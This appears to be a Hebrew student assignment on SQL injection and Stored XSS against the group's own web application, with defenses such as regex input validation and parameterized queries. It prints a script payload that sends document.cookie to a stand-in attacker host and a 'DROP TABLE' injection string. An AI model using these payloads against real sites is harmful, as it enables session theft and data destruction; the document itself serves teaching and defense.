שימוש בטכניקות
Sqli+XSS

מגישים:

משה
כרמל
מישל
רם
שרון

1. דוגמא לשימוש בהתקפה מסוג Stored XSS בסעיף 4 מחלק א':

בהתקפה מסוג Stored XSS התוקף מחדיר קוד זדוני בבקשה לשלוח תוכן לאפליקציה. האפליקציה מאמינה שהבקשה תמימה, מעבדת את קלט המשתמש (במקרה זה הכנסת פרטים חדשים של לקוח חדש) ומאחסנת אותה במסד הנתונים. מנקודה זו ואילך, בכל פעם שהתוכן שנשלח מוצג למשתמשים, הקוד הזדוני מופעל על הדפדפנים שלהם.

דוגמא ממשית:

```
<script>
  document.write(`<img src="http://hackerserver.example.com/
  grab.jsp?cookie=' +document.cookie + "">`);
</script>Sorry, already sold.
```

2. דוגמא לשימוש בהתקפה מסוג Sqli על סעיף 1 +3 +4 מחלק א':

בהתקפה מסוג Sqli תוקף זדוני מבצע פעולות SQL לא מורשות ב DB ע"י ניצול קוד לא מאובטח באתר. התקפות אלו משמשות לעקיפת אימות, לחשיפת נתונים רגישים וביצוע פעולות זדוניות ב DB.
הבעיה בסעיף 1 היא שכאשר אין בדיקה על כל השדות בהתייחסות לתווים מיוחדים גם בסיסמה וגם במשתמש (מייל) ובנוסף וידוא שהתוכן אינו ריק. באופן דומה הבעיה חוזרת בסעיפים 3 ו-4.

דוגמא ממשית:

קלט משתמש: 105; DROP TABLE User
מאחורי הקלעים: SELECT * FROM Users WHERE UserId = 105; DROP TABLE Users;

3. פתרון נגד הפרצות בסעיף 1 ע"י שימוש בקידוד תווים מיוחדים:

דרך ההתמודדות שלנו עם פרצות זו היא ע"י בדיקות של כל הערכים, לוודא שעונים על התנאים שהגדרנו, לדוגמא הסיסמא צריכה לענות על כל התנאים ע"פ קובץ הקונפיגורציה שמכיל **regex** וכאשר הסיסמא לא עונה על הכל התנאים הללו אינה מתקבלת.

4. פתרון נגד הפרצות בסעיפים 1 +3+4 מחלק א' ע"י שימוש ב Parameters או שימוש ב Stored procedures :

על מנת להתמודד עם פריצת ה Sqli-השתמשנו בספריית **mysql.connector** שמטפלת בערכים של השאילתות ובכך מונעת הזרקת תווים אסורים ותקיפה מסוג זה.